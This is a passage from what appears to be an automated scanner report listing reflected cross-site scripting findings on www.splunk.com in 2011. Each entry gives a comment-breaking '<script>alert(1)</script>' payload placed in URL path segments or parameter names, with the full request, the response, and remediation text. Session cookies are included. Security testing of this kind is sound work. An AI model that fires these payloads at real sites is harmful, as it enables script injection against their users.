Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:14:06 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:44:06 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:44:06 GMT; path=/
ETag: 9b6993c05b5df44787b13ea3a3b84cb31296944047
Last-Modified: Sat, 05 Feb 2011 22:14:07 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18359

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>ba4082ebc63/previous_releases -->
...[SNIP]...

4.438. http://www.splunk.com/page/previous_releases [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/previous_releases

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 88d0b--><script>alert(1)</script>8b1623a164f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/previous_releases88d0b--><script>alert(1)</script>8b1623a164f HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:14:38 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18262

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>8b1623a164f -->
...[SNIP]...

4.439. http://www.splunk.com/page/previous_releases [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/previous_releases

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload e3446--><script>alert(1)</script>57678c0f931 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/previous_releases?e3446--><script>alert(1)</script>57678c0f931=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:13:14 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 58901932b283046a182ab6097919c9121296943995
Last-Modified: Sat, 05 Feb 2011 22:13:15 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 403596

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>57678c0f931=1 -->
...[SNIP]...

4.440. http://www.splunk.com/page/release_rss [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/release_rss

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 995dc--><script>alert(1)</script>52186db0835 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page995dc--><script>alert(1)</script>52186db0835/release_rss HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:11:01 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:41:01 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:41:01 GMT; path=/
ETag: c3223f52d0b0feb63946485c5318d8481296943861
Last-Modified: Sat, 05 Feb 2011 22:11:01 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18335

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>52186db0835/release_rss -->
...[SNIP]...

4.441. http://www.splunk.com/page/release_rss [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/release_rss

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 7aadb--><script>alert(1)</script>320c10f06c6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/release_rss7aadb--><script>alert(1)</script>320c10f06c6 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:11:29 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18226

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>320c10f06c6 -->
...[SNIP]...

4.442. http://www.splunk.com/page/road_map_vote [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/road_map_vote

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload f0ac2--><script>alert(1)</script>9126f41049b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /pagef0ac2--><script>alert(1)</script>9126f41049b/road_map_vote HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:11:46 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:41:47 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:41:47 GMT; path=/
ETag: e9605f41e84a45812a6eafba56d906191296943907
Last-Modified: Sat, 05 Feb 2011 22:11:47 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18343

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>9126f41049b/road_map_vote -->
...[SNIP]...

4.443. http://www.splunk.com/page/road_map_vote [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/road_map_vote

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 1b364--><script>alert(1)</script>f6aac3c258f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/road_map_vote1b364--><script>alert(1)</script>f6aac3c258f HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:12:16 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18238

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>f6aac3c258f -->
...[SNIP]...

4.444. http://www.splunk.com/page/road_map_vote [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/road_map_vote

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 3cfea--><script>alert(1)</script>a7d560f0de6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/road_map_vote?3cfea--><script>alert(1)</script>a7d560f0de6=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:11:13 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 60e05d87f0138b605f90e52da6396c2d1296943874
Last-Modified: Sat, 05 Feb 2011 22:11:14 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20645

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>a7d560f0de6=1 -->
...[SNIP]...

4.445. http://www.splunk.com/page/securelink/signup/Splunk_Company_Overview [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_Company_Overview

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 355e5--><script>alert(1)</script>5557b96b483 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page355e5--><script>alert(1)</script>5557b96b483/securelink/signup/Splunk_Company_Overview HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:34:50 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:04:50 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:04:50 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18455

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>5557b96b483/securelink/signup/Splunk_Company_Overview -->
...[SNIP]...

4.446. http://www.splunk.com/page/securelink/signup/Splunk_Company_Overview [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_Company_Overview

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 23c1d--><script>alert(1)</script>d5968d369aa was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/securelink23c1d--><script>alert(1)</script>d5968d369aa/signup/Splunk_Company_Overview HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:35:20 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18344

